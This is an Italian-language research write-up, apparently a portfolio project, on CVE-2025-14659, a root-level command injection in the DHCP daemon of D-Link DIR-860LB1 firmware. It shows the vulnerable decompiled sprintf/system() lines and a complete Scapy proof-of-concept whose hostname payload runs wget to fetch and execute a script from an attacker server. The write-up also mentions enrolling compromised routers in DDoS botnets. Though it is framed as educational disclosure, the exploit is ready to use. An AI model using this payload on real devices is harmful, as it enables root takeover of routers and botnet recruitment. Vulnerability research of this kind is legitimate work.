
Analisi statica (Ghidra) e packet-crafting personalizzato (Scapy) che dimostrano una vulnerabilità di command injection DHCP a livello root (CVE-2025-14659) nel firmware D-Link
Autore: Peter Lin
Data: Maggio 2026
Presentazione del Progetto: CVE-2025-14659 ha segnalato una vulnerabilità di command injection che colpisce il componente daemon DHCP presente nel router wireless D-Link DIR-860LB1 con firmware v203b03. Questa command injection potrebbe consentire a un attaccante di eseguire comandi arbitrari con privilegi di root su questo router target quando un client DHCP rinnova un lease esistente con un hostname malevolo. Estrarrò il firmware del dispositivo DIR-860LB1 e identificherò la falla presente nel daemon DHCP (udhcpd) tramite analisi statica utilizzando Ghidra. Utilizzerò poi un motore di emulazione come FirmAE per emulare l'ambiente di questo router, dimostrando un attacco proof of concept contro questo target.
udhcpd (Daemon DHCP)Osservando la funzione udhcpd_main in Ghidra, la vulnerabilità si trova proprio all'interno del blocco case 3 (DHCPREQUEST):
get_option(auStack_254, 0xc).sprintf():
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system() senza sanificare i caratteri di shell:
system(acStack_454);
Poiché il daemon viene eseguito come root, l'aggiunta di metacaratteri di shell (come ; o |) nell'hostname consente a un attaccante di eseguire comandi di sistema arbitrari.
cve_poc.py)Questo script funzionante in Scapy simula un client malevolo che richiede il rinnovo di un lease con un payload hostname iniettato:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
Se sfruttata in the wild, un attaccante può utilizzare questa vulnerabilità per:
/tmp) per arruolare l'hardware in reti DDoS.Disclaimer: Questo progetto è creato strettamente per scopi educativi, costruzione di portfolio e ricerca sulla sicurezza difensiva.